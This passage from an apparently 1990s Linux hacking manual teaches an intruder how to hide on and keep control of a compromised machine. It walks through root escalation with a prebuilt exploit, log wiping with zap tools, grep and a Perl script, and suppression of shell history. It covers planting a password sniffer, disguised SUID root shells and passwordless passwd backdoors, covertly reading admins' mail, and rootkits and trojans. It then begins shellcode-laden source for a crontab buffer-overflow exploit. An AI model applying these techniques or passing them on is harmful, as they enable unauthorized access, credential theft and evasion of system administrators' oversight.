      
        # Number of full 400th years
        $N400=int(($N100+1)/4);
      
        # Check to insure that information returns a valid day of year.
        $dayofyear=dayofyear($m,$d,$y);
        return undef if (!defined($dayofyear));
      
        # Compute day of year.
        $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
      
        return $days;
      }
      
      
      sub dayofyear {
        my($m,$d,$y)=@_;
        my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
        my($daynum,$i)=();
        $daysinmonth[1]=29  if (!($y % 4));
      
        # Return error if we are given an invalid date.
        return undef if ($d > $daysinmonth[$m]);
      
        $daynum=0;
        for ($i=1; $i<$m; $i++) {
          $daynum += $daysinmonth[$i];
        }
        $daynum += $d;
        
        return $daynum;
      }
      
      
      ## END DATE ROUTINES.
            
      # End of script.
      
      0;
      
      --------------------- end of utmpman.pl
      
      -------------------------
      Chapter VI
      Cleaning the log files
      -------------------------
      
      ------------------------------
      Section 6A
      A walk around a hacked system
      -------------------------------
      
      I can't stress the importance of this enough! Clean, Clean!!!!  In this section
      I will take you on the system first hand and show you some basics on what to
      look for, and on how to wipe your presence from the system.  To start this lets
      logon a system:
      
      Here is the step by step through the basic process:
      
      ******----> see who is on the machine
      
      [/home/master]finger @victim.net
      [victim.net]
      No one logged on.
      
      ******----> good no one on, we will log on
      
      [/home/master]telnet victim.net
      
      Trying xxx.206.xx.140...
      Connected to victim.net.
      Escape character is '^]'.
      
      Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
      Kernel 1.2.13 on a i586
      
      
      ns.victim.net login: jnsmith
      Password:
      Linux 1.2.13.
      You have new mail.
      
      ******----> Don't read his mail, you can cat all mail in /var/spool/mail
                  and in each users /home/username/mail directory
      
      ******----> Check again to see if anyone is on
      
      [jnsmith@ns jnsmith]$ w
      
      5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
      User     tty       login@  idle   JCPU   PCPU  what
      jnsmith   ttyp1     5:35am                      w
      
      ******----> Just me, lets get root and get lost in the utmp!
      
      [jnsmith@ns jnsmith]$ cd .term
      
      ******----> Nice directory to hide stuff ;)
      
      [jnsmith@ns .term]$ ./.u
      
      ******----> I had this already waiting, it was the umounc.c exploit
      
      Discovered and Coded by Bloodmask and Vio, Covin 1996
      
      ******----> We are now root, lets use z2 to become invisible
      
      bash# z2 jnsmith
      Zap2!
      
      ******----> Let's see if we are still on ...
      
      bash# w
      5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
      User     tty       login@  idle   JCPU   PCPU  what
      
      ******----> Hmm. now there is no one on the system, i must have logged off ;)
      
      
      ******----> We know we are root, but lets check you you can see ...
      
      bash# whoami
      root
      bash#
      
      ******----> Yup, root ..  What directory are we in?
      
      bash# pwd
      /home/jnsmith/.term
      
      ******----> Let's check the logs
      
      bash# cd /var/log
      
      ******----> most of the time in /var/adm, this box uses /var/log
      
      bash# grep dormroom *
      maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
      maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
      
      ******----> Yup, the z2 took care of everything but this maillog ...
      
      bash# pico maillog
      
      ******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to
                  delete lines
      
      
      ******----> These were the lines deleted
      
      Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
      Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
      
      bash# grep dormroom *
      
      ******----> Yup .. all clear ;)
      
      bash# w
      5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
      User     tty       login@  idle   JCPU   PCPU  what
      
      ******----> Yup .. all clear here too ;)
      
      ******----> Lets show you how you would use lled and wted if the grep would
                  have shown something in those files
      
      bash# cd ~jnsmith/.term
      bash# lled
      bash# lled -c dormroom.playhouse
      Entries stored: 527 Entries removed: 0
      Now chmod lastlog.tmp and copy over the original /var/log/lastlog
      
      ******----> Nothing in the lastlog
      
      bash#
      bash# wted -e jnsmith
      Entries stored: 254 Entries removed: 0
      Now chmod wtmp.tmp and copy over the original /var/log/wtmp
      
      ******----> Nothing in the wtmp, both of these would have shown in the grep
                  we just did in the /var/log (just showing you the commands)
      
      ******----> Lets do some sniffing ...
      
      bash# pico linsniffer.c
      
      ******----> I changed this line to tell where i want the log to go:
      
      #define TCPLOG "/tmp/.pinetemp.000"
      
      ******----> lets look at what is running to think of a name that
                  looks almost like it belongs there
      
      bash# ps -aux
      
      root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
      root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
      root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
      root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
      root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
      root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
      root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
      root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
      root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
      root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
      root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
      root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
      root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
      root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
      root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
      root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd
      
      ******----> lets compile it and name it nmb
      
      bash# gcc linsniffer.c -o nmb
      
      ******----> lets load it ...
      
      bash# nmb&
      [1] 22171
      
      ******----> lets check the log file in /tmp
      
      bash#
      bash# cd /tmp
      bash# ls -al .pin*
      total 15691
      -rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000
      
      ******----> There it is, but we don't want our login to know about it!
      
      bash# chgrp root .pin*
      
      ******----> Lets look now ....
      
      bash# ls -al .pin*
      -rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
      bash#
      
      ******----> This is good, Lets make an SUID shell so we don't have to
                  do this again.  (check for MD5 or other programs in the cron)
      
      bash# cd /bin
      bash# ls -l sh
      lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash
      
      ******----> This is a sym link ...
      
      bash# ls -l bash
      -rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash
      
      ******----> here is the real file ... lets see what to name it that
                  looks like it belongs
      
      bash# ls
      arch           df             ksh            ping           tar
      ash            dmesg          ln             ps             tcsh
      bash           dnsdomainname  login          pwd            true
      cat            domainname     ls             red            ttysnoops
      chgrp          echo           mail           rm             umount
      chmod          ed             mkdir          rmdir          uname
      chown          false          mknod          sed            vi
      cp             findterm       more           setserial      view
      cpio           gunzip         mount          sh             vim
      csh            gzip           mt             stty           zcat
      date           hostname       mv             su             zsh
      dd             kill           netstat        sync
      
      ******----> How about a new command in linux, most admin's won't know
                  the difference ;)  We will call it findhost
      
      bash# cp bash findhost
      
      ******----> ok, now lets have a look at our new unix command ...
      
      bash# ls -l findhost
      -rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost
      
      ******----> We need to change the group owner, touch the file date,
                  and make it SUID
      
      bash# chgrp root findhost
      bash# ls -l findhost
      -rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost
      
      bash# chmod +s findhost
      bash# ls -l findhost
      -rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost
      
      bash# touch -t 111312331995 findhost
      bash# ls -l findhost
      -rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost
      
      bash# ls -l m*
      -rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
      -rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
      -rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
      -rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
      -rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
      -rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
      -rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv
      
      ******----> Now it looks like it belongs ... lets see if
                  it gives us root, exit our current root shell..
      
      bash# exit
      
      [jnsmith@ns .term]$ cd /bin
      [jnsmith@ns /bin]$ whoami
      jnsmith
      [jnsmith@ns /bin]$ findhost
      [jnsmith@ns /bin]# whoami
      root
      
      [jnsmith@ns /bin]# cd
      
      ******----> cd {enter} takes us back to our home dir
      
      [jnsmith@ns jnsmith]# ls
      mail
      [jnsmith@ns jnsmith]# echo + +>test
      [jnsmith@ns jnsmith]# ls -l
      total 2
      drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
      -rw-rw-r--   1 root      root            4 Jan 29 06:11 test
      
      ******----> See now we are uid=0 gid=0
      
      [jnsmith@ns jnsmith]# rm test
      
      ******----> clean as we go .....
      
      [jnsmith@ns jnsmith]# w
      6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
      User     tty       login@  idle   JCPU   PCPU  what
      
      ******----> Just making sure we are still alone ....
      
      [jnsmith@ns jnsmith]# ls -al /tmp/.p*
      total 15692
      -rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000
      
      ******----> were getting passwords already ;)
      
      [jnsmith@ns jnsmith]# ls -al
      total 32
      drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
      drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
      -rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
      lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null
      -rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
      -rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
      -rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
      -rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
      drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
      drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
      drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
      [jnsmith@ns jnsmith]#
      
      ******----> Make sure you place this sys link .bash_history to /dev/null so
                  you do not leave a history behind...
      
      This is the command to do it, but make sure you delete the old .bash_history
      if it is there.
      
      ln -s /dev/null .bash_history
      
      Ok logout ...
      
      Ok, there is another way!!!!!!
      
      If you can remember and make it a practice that you NEVER forget, get used to
      this.... EVERY TIME you login to an account type: unset HISTFILE
      
      This will tell the system to delete your history file when you logoff the
      system...   USE THIS!  Get into the practice!  DON'T FORGET!
      
      -----------
      Section 6B
      messages and syslog
      -----------
      
      In the log directory you will find a file called 'messages' each system is
      different as far as what is logged to what files or what file name.  Make
      sure to check in the /etc/syslog.conf file for additional logging to
      remote machines.  If this is being done you will see something like this:
      
      *.*                                 @somehostname.xxx
      
      Or just to check and see where the log files are going you can view this file
      /etc/syslog.conf.
      
      Here is a sample...
      
      bash# more syslog.conf
      # /etc/syslog.conf
      # For info about the format of this file, see "man syslog.conf" (the BSD man
      # page), and /usr/doc/sysklogd/README.linux.
      #
      # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
      # I don't know why.
      #
      
      *.=info;*.=notice                               /var/adm/messages
      *.=debug                                        /var/adm/debug
      *.warn                                          /var/adm/syslog
      *.warn                                          /root/.../syslog
      *.=crit;kern.none                               /var/adm/critical
      kern.info;kern.!err                             /var/adm/kernel-info
      mail.*;mail.!=info                              /root/.../mail
      mail,news.=info                                 /root/.../info
      mail.*;mail.!=info                              /var/adm/mail
      mail,news.=info                                 /var/adm/info
      *.alert                                         root,bob
      *.=info;*.=notice                               @quality.com
      *.=debug                                        @quality.com
      *.warn                                          @quality.com
      *.=crit;kern.none                               @quality.com
      kern.info;kern.!err                             @quality.com
      mail.*;mail.!=info                              @quality.com
      mail,news.=info                                 @quality.com
      
      Here some of the logs are going into a hidden directory in the /root directory
      and a copy of every alert and warning are being also sent to the logs at
      quality.com.  wtmp, utmp and lastlog are still local, so you can still be
      ok, just make sure not to use 'su' on a system like this.  Also notice above
      that alert messages are being mailed to root and bob on this system.
      
      Also take note that syslog, mail, and, info are being sent to the /var/adm
      directory to fool you into thinking all of the logs are in /var/adm!  If you
      edit /var/adm the admin can run a diff on the backup files in the /root dir.
      
      Ok, so you go to the /var/adm or /var/log directory and:
      
      grep yourhost * |more
      grep your ip * |more
      
      you see that some files are logging your connection, mark down what files
      are logging you and edit the /etc/syslog.conf file.  You will from trial
      and error in most cases make it skip the logging process of your domain.
      
      BUT, make sure to do a few things.  After you edit the file restart the
      syslogd.  You can do this by doing a ps -x
      
      $root> ps -x
      
      39  ?  S    1:29 /usr/sbin/syslogd
      
      find the syslogd and notice the process id here is 39, so you do:
      
      kill -HUP 39
      
      This will restart the process and put your changes into effect.
      
      The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you
      edit it and touch the file date back to the original date and time after
      you edit it.  This way if they notice the logging looks different, they
      will check the file date and think it must be something else.  Most admins
      would not know how to setup this file in the first place, so you in some
      (or most) cases ok to edit it.
      
      Here is another file to look at.
      
      /etc/login.defs
      
      # Enable "syslog" logging of su activity - in addition to sulog file logging
      # SYSLOG_SG_ENAB does the same for newgrp and sg.
      #
      SYSLOG_SU_ENAB          yes
      SYSLOG_SG_ENAB          yes
      #
      # If defined, all su activity is logged to this file
      #
      SULOG_FILE      /home/users/bob/.list
      
      Notice here that there is an su log file in a hidden file in one of
      the admin's directories.
      
      -----------
      Section 6C
      xferlog
      -----------
      
      The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..
      you can then search for your transfers and delete the lines and save the file.
      You will need to do this after transferring any files.
      
      You will also want to grep the files in the /usr/local/etc/httpd/log directory
      if you have used the web or phf on the system to remove your presence
      from there.
      
      grep (username or hostname) * |more
      
      If you need to find the logs for httpd you can do a find -name httpd.conf
      -print and view the config file you see where the httpd logs are going.
      
      There might be different ftp logs for transfers in some ftp or virtual ftp
      directory some where.  View the files in the /etc/ftp* to find what the ftp
      setup is on the box.
      
      Here I have shown you to edit log files using pico, joe, or other editors.
      
      There is another way... Sometimes log files might be real large and the editor just might
      not cut it ;)  Here is what to do...
      
      You have a messages file 20 meg ... wow!
      
      If you want to get the lines that have fudge.candy.com out of this file you
      might want to do this:
      
      grep -v fudge.candy >messages.2
      rm messages
      mv messages2 messages
      
      then kill -HUP <process id for syslogd>
      
      -v means grep everything that does not match the line, so you are greping
      the file -what you do not want to a new file name messages.2.  Check the
      file size after the grep to make sure no errors were made and replace the
      old one with the new one and restart syslogd.
      
      This can also be used with other logs like xferlog, syslog, etc...
      
      Here is a perl script that will do it for you from command line.
      
      ------------------- start of riptext.pl
      #!/usr/bin/perl
      #
      # RipText - Takes regular expression and filename argument from @ARGV. Any 
      #           lines MATCHING regular expression will *not* be printed to 
      #           STDOUT. 
      # 
      #
      
      die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
      ($regexp, $filename) = @ARGV[0,1];
      
      # Read in contents of file.
      $/ = undef;
      $contents="";
      if (!defined($filename)) {
        # Use STDIN.
        $contents = scalar <STDIN>;
      } else {
        # Use FILE.
        open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
        $contents = scalar <FILE>;
        close(FILE);
      }
      
      @contents = split(/\n/, $contents);
      
      # Strip file of matching lines.
      open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
      foreach (@contents) {
        print FILE "$_\n" unless (/$regexp/i);
      }
      close(FILE);
      
      0;
      
      ------------------------ end of riptext.pl
      
      Remember to restart syslogd after you edit files, true you will not see
      the stuff, and it will be gone to your eyes, but if you do not restart the
      process, the data is still in memory and can be retrieved until you restart
      the process!
      
      Also look for notes in the syslog that the syslogd process was restarted at
      such and such a time.
      
      ---------------
      Section 6D
      The cron table
      ---------------
      
      Make sure to look at admin's and root cron files, here in this system we find
      a root cron file in: /var/spool/cron/crontabs
      bash# ls -l
      total 1
      -rw-------   1 root     root          851 Jan 26 14:14 root
      
      bash$ more root
      # This updates the database for 'locate' every day:
      40 07 * * *       updatedb 1> /dev/null 2> /dev/null
      40 */12 * * *       /sbin/checkfs
      
      there is a file running here in /sbin called checkfs.
      
      bash$ cd /sbin
      bash$ /sbin # more checkfs
      #!/bin/bash
      
      if [ ! -f /etc/default/fs/.check ]; then
        echo WARNING!! Filecheck default file cannot be found. Please regenerate.
          exit
          fi
      
      md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
      md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
      md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
      md5sum /bin/* >> /tmp/filecheck 2>/dev/null
      md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
      md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
      md5sum /lib/* >> /tmp/filecheck 2>/dev/null
      md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
      diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1
      
      if [ -s /tmp/filecheck2 ]; then
        mail -s FSCheck bin < /tmp/filecheck2
        fi
      
      rm /tmp/filecheck /tmp/filecheck2 2>/dev/null
      
      md5 is a checksum file, if you change or add a binary file to any of the
      above directories the information of the changes will be mailed to the
      admin.
      
      ------------------------------
      Chapter 7
      Keeping access to the machine
      ------------------------------
      
      There are many ways to keep access to the machine, you will loose
      access to many as you as you are learning, but I hope with this manual
      and some experience you will become a stable hacker.
      
      Section 7A
      Tricks of the trade
      
      Here are some 'tricks' of the trade that will help you keep access
      to the machine.  After a system admin has found you out, they will be watching
      for you and going through everything on the system.  They will go as far as
      recompiling binary files, changing everyone's passwords, denying your host you
      came in from to the machine, going through the passwd or shadow file, looking
      for SUID files, etc....
      
      When you see that you have been found out, do not try to get access to the
      system again.  I have seen others right after being cought, try everyone of
      their trojans, other accounts, and other backdoor's they placed for continued
      access.  Well think about it, they are watching for you ... you are showing
      them every in that you have to the system, and every exploitable file you
      are making known to them.
      
      NO!  WAIT!  Give it a few months, they will think everything is ok, and they
      will relax and you can come in with one of the backdoor's they missed, and you
      can do your thing on the logs for all of the attempts you made on the system
      to get back in.
      
      Ok here are some tricks of the trade.
      
      History Files:
      --------------
      Always put your .bash_history to /dev/null, if you don't make sure you at least
      edit it.  Remember the .bash_history will always have your last commands until
      the logoff.  So if you edit it, it will show that you are editing it. You might
      try changing your shell and editing it there, but this all seems like a pain,
      just set it to /dev/null
      
      1. Delete the file in the user directory .bash_history if it there.
      2. Type this command in the home directory: ln -s /dev/null .bash_history
      
      Nested directory:
      -----------------
      Always find a directory on the system to hide your files.  There are a few good
      ones that most users never look into.
      
      In the users home directory look for .term, all you will find in this directory
      is an executable file called termrc.  Admin's and users alike are used to seeing this
      hidden directory, and never EVER go into it.  if they did what do you think
      they would say to an executable file being in there called termrc?  You are right!
      Nothing .... it belongs there and it is what they expect to see there.
      
      So lets say we make termrc a little bigger, and add suid perm's ... are you
      getting the idea???? I hope you guessed it... go to the /bin directory and
      type cp bash (or sh whatever is there) ~username/.term/termrc
      then type : chown root ~username/.term/termrc
                : chgrp root ~username/.term/termrc
                : chmod +s ~username/.term/termrc
      
      Now you have a nested file that can get you root on the system any time that
      will not be easy for the admin to find.  If you want to get fancy, touch
      the file date to make it look like an older file.
      
      Another directory off the user accounts expected to be there and unused would
      be .elm, .term or Mail, or try making a directory called '...' this is harder
      to notice seeing the first directories that show are . and .., so it can go
      un-noticed easy.  This is how it would look if they did a long ls:
      
      1024 Jan 29 21:03 .
      1024 Dec 28 00:12 ..
      1024 Jan 29 21:03 ...
       509 Mar 02  1996 .bash_history
        22 Feb 20  1996 .forward
       164 May 18  1996 .kermrc
        34 Jun 06  1993 .less
       114 Nov 23  1993 .lessrc
      1024 May 18  1996 .term
      1024 May 19  1996 public_html
      
      see how it seems to just fit into place?
      
      but if it was just a ls -l, this is what would be seen:
      
      1024 May 19  1996 public_html
      
      Remember you can always look for some REAL LONG file path that you are sure
      that no one would ever even want to enter into, and use this for your nested
      directory.  You can even make your own directory there like:(...) ;)
      
      
      Making new commands
      --------------------
      After you check the cron to see if there is md5 being used there, you might
      want to either copy one of your exploits to another filename in the system,
      or maybe just overwrite a command that you know would never be used.  If
      you copy to a new file name make sure you touch the file date.  This is not
      so long lasting because sooner or later they will patch the exploit and your
      new file you made will not work anymore.
      
      It is better to use a shell for the new filename, and then make it suid.
      
      Adding or changing passwd entry's
      ---------------------------------
      Another backdoor that you can use is to add a new user to the passwd file.
      This needs to be done with caution making it look like it belongs there.
      Never use your passwd addition, never login, it is just for a backup in case
      you loose access.
      
      There are different thoughts here: you do not have to make it a root account
      that could cause notice to it right away.  You know you can have root any time
      you want it.  Lets practice ...
      
      We want to make our account look like it belongs, so lets keep to the top of
      the file.
      
      root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
      sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
      bin:*:1:1:bin:/bin:
      daemon:*:2:2:daemon:/sbin:
      adm:*:3:4:adm:/var/adm:
      lp:*:4:7:lp:/var/spool/lpd:
      sync:*:5:0:sync:/sbin:/bin/sync
      shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
      halt:*:7:0:halt:/sbin:/sbin/halt
      mail:*:8:12:mail:/var/spool/mail:
      news:*:9:13:news:/usr/lib/news:
      uucp:*:10:14:uucp:/var/spool/uucppublic:
      operator:*:11:0:operator:/root:/bin/bash
      games:*:12:100:games:/usr/games:
      man:*:13:15:man:/usr/man:
      postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
      nobody:*:65535:100:nobody:/dev/null:
      ftp:*:404:1::/home/ftp:/bin/bash
      
      Looking at the above passwd file leaves us a few options so i will just list
      them here.
      
      1. Look at the user line for operator, ftp, and postmaster.  All of these
      accounts have shells with no passwd's set yet.  From your shell just type:
      
      passwd postmaster
      
      Set the account with no passwd by just pressing enter.  Now you will be able
      to log into this account any time without a password and the file will still
      look right to the admin.
      
      2. add this line to the passwd file:
      
      syst::13:12:system:/var/spool:/bin/bash
      
      Place it in the file where it seems to flow.  You can leave the :: for the
      passwd or set the passwd to what you want by typing: passwd syst from the
      root shell.  Set the group and id above to what you like.
      
      
      3. Look at the line above for sync
      
      sync:*:5:0:sync:/sbin:/bin/sync
      
      Change this to :
      
      sync:*:5:0:sync:/sbin:/bin/bash and then run <passwd sync> and leave the passwd
      blank.  (or set a passwd don't matter) On this account we are even gid=0 <G>rin
      
      Installing games
      ----------------
      
      You could always install exploitable doom or abuse into the system if they
      already have games installed.  I will include the root exploits for these
      games below in the appendix.
      
      Always be watching
      ------------------
      
      Always know who the admin's are on a system, you can find them by looking at
      the passwd file to see home directories, placement of the uid, group access
      accounts, and ALWAYS read all of the bash_history files in the user directories
      to see who is using admin commands.  You will also learn allot of new commands
      from reading history files, but you want to know who is who on the system.
      Get to know your system well. Look for users using su:  View the log files
      to see who is using admin commands.
      
      Always be watching the system, keep track of who is on while you are.  Watch
      the admin's history to see what commands they are using, ttysnoops? too many
      ps commands?  finger commands after ps or w or who commands will show they
      are watching what other users on the system are doing.  Watch your admin's
      and get to know how aware they are of users on their system.
      
      Reading system mail
      
      Rember first NEVER to use system mail programs!  They will be able to tell you
      are reading their mail.  I use a combo of a few things.  Here you go...
      
      1. cd /var/spool/mail
      
      This will put you into the directory that holds all of the unread mail, or
      waiting mail.  Now you can do things like:
      
      grep -i security * |more
      grep -i hack * |more
      grep -i intruder * |more
      grep -i passwd * |more
      grep -i password * |more
      
      Then if needed pico username, and ctrl w to search for your maeesge.  You
      can also delete messages if you see some other admin is telling them that
      your user name is hacking their machine from their domain.
      
      For a mail reader that will allow toy to read mail without updating pointers
      try:
      
      http://obsidian.cse.fau.edu/~fc
      has a util on it that can cat /var/spool/mail files without changing the
      last read dates.. ie they have no idea that you have read their mail.
      
      Also remember you can find other system mail in user's directories.  Make sure
      to look in the /root directory.  Look for /root/mail or username/mail or other
      directories or filders that contain older mail.
      
      Happy Hunting ...
      
      --------------------------------
      Section 7B
      Root and Demon kits and trojans
      --------------------------------
      
      Root kits are C source for ps, login, netstat and sometimes some other
      programs that have been hacked for you.  With these kits you will be
      able to replace the login files on the hacked box so that you can login
      without an account on the machine.
      
      You will also be able to patch ps so that you will not show up when an
      admin uses the ps command.  With the ps patch you can also have it not show
      processes that have certain file names such as any file that starts with
      'sniff'.
      
      Demon kits will have hacked programs for identd, login demon, ping, su,
      telnetd, and, socket.
      
      Trojans will be any file that you can use that will allow you to exploit
      the system in some way.  An su trojan placed in the admin's directory would
      run the trojan su first after you change the export path for him ;) and report
      back that he typed the wrong passwd and delete the trojan file, but saving
      the password he typed to the /tmp directory.
      
      A login trojan would save all login passwords to a file on the machine
      for you.  I think you get the idea ;)
      
      Demon and Linux root kits have been uuencoded and attached to the end of
      appendix VI
      
      ******************************************
      * Appendix I - Things to do after access *
      ******************************************
      
      
      I think in this paper we have covered most of the things  you can do after
      access, so I will make this in the style of a checklist from a to z.
      
      a. learn who the admin's are on the system
      b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to
         try and keep track of what others are doing
      c. read all of the bash history files or any history files you can find on the
         machine to learn more yourself, and to learn about the users
      d. make as many backdoor's into the system as you can that you are sure will
         not be found out
      e. keep the access to yourself, don't give out users passwords on the machine
         you get root on.
      f. always clean your utmp and wtmp right away when you login
      g. always clean your mess as you go along, this includes your xferlog and
         messages
      h. if you have root access make sure to read /etc/syslog.conf and
         /etc/login.defs to see how the system is logging
      i. before changing binary files look at the root cron to see what they are
         running.
      j. look for md5 on the system
      k. look for separate ftp logs
      l. make sure to clean the www logs if you ever send phf commands to the server
      m. make an suid root shell and place it somewhere on the system
      n. do only what you are sure of, don't do everything in this hacking manual all
         at once or you are asking to get cought
      o. only use nested directories, do not put files into user directories where
         all they need to do is type ls to see them
      p. don't add user accounts and think they will not notice you.
      q. don't use pine or other mail programs to read users mail. if you want to
         read mail go to the mail dir and read it from unix, new mail you will find
         in /var/spool/mail read it there.
      r. don't change the system so that other programs they have running will not
         work any more, they will be on you like fly's on shit
      s. don't delete files on the system unless you put them there
      t. do not modify their web pages, like i was here ... you are not a hacker you
         are a little kid wanting attention
      u. do not change any passwords on the system (unless you are doing it for
         access and have backed up the passwd file and replace it right after you
         login
      v. do not use any root account machines for irc access, or to load a bot on
      w. if your root account changes or you create files that are owned by the
         wrong group, be sure to chown the files
      x. do not use .rhosts if there is already one there that is being used
      y. never telnet or ftp to your account from the hacked box
      z. don't fuck up their machine! only do what you know how to do.
      
      ****************************************************
      * Appendix II - Hacking / Security WWW / ftp sites *
      ****************************************************
      
      IRC QuantumG #virus
      Quantum's Linux Page
      http://obsidian.me.fau.edu/~quantum
      Nice site for a bit of info and unix exploits!
      
      CyberToast's Files section
      Here you will find a nice selection of hacking, crackers, hex editors, viruses,
      cracks, phreaking, war dialers, scanners, and, misc files.
      www.ilf.net/~toast/files
      
      Reptiles Realm
      A nice site for many linux exploits
      www.users.interport.net/~reptile/linux
      
      FTP site loaded with all kinds of IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
      http://ftp.giga.or.at/pub/hacker
      
      Linux Security Digest
      Lot's to look at here
      http://king.dom.de/~un/linux-security
      
      Linux Security Alert
      http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts
      
      The Linux Security Home Page
      http://www.ecst.csuchico.edu/~jtmurphy
      
      These are good sites just to get you started, there are many links on these.
      Just make sure to browse in your favorite engine and search for words like:
      hack, linux, unix, crack ect....
      
      *********************************************************
      * Appendix III - More exploits for root or other access *
      *********************************************************
      
      
      ..........................................................................
      .                                                                        .
      . 1. vixie crontab buffer overflow for RedHat Linux                      .
      ..........................................................................
      
      If crontab is suid it is more then likely exploitable.
      
      
      -----------cut here
      
      /* vixie crontab buffer overflow for RedHat Linux
       *
       * I don't think too many people know that redhat uses vixie crontab.
       * I didn't find this, just exploited it.
       *
       *
       * Dave G. <daveg@escape.com>
       * 10/13/96
       *
       */
       
      #include <stdio.h>
      #include <sys/types.h>
      #include <stdlib.h>
      #include <fcntl.h>
      #include <unistd.h>
       
      #define DEFAULT_OFFSET          -1240
      #define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
      #define HAPPY_FILE              "./Window"
       
      long get_esp(void)
      {
         __asm__("movl %esp,%eax\n");
      }
       
      main(int argc, char **argv)
      {
         int fd;
         char *buff = NULL;
         unsigned long *addr_ptr = NULL;
         char *ptr = NULL;
        u_char execshell[] = 
         "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
         "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
         "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
       
       
        
      /*
       * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
       * a '=' character appears below
       */
       
         
         int i;
         int ofs = DEFAULT_OFFSET;
       
         /* if we have a argument, use it as offset, else use default */
         if(argc == 2)
            ofs = atoi(argv[1]);   
         else if (argc > 2) {
            fprintf(stderr, "egg [offset]\n");
            exit(-1);
         }
         /* print the offset in use */
         printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
         
         buff = malloc(4096);
         if(!buff)
         {
            printf("can't allocate memory\n");
            exit(0);
         }
         ptr = buff;
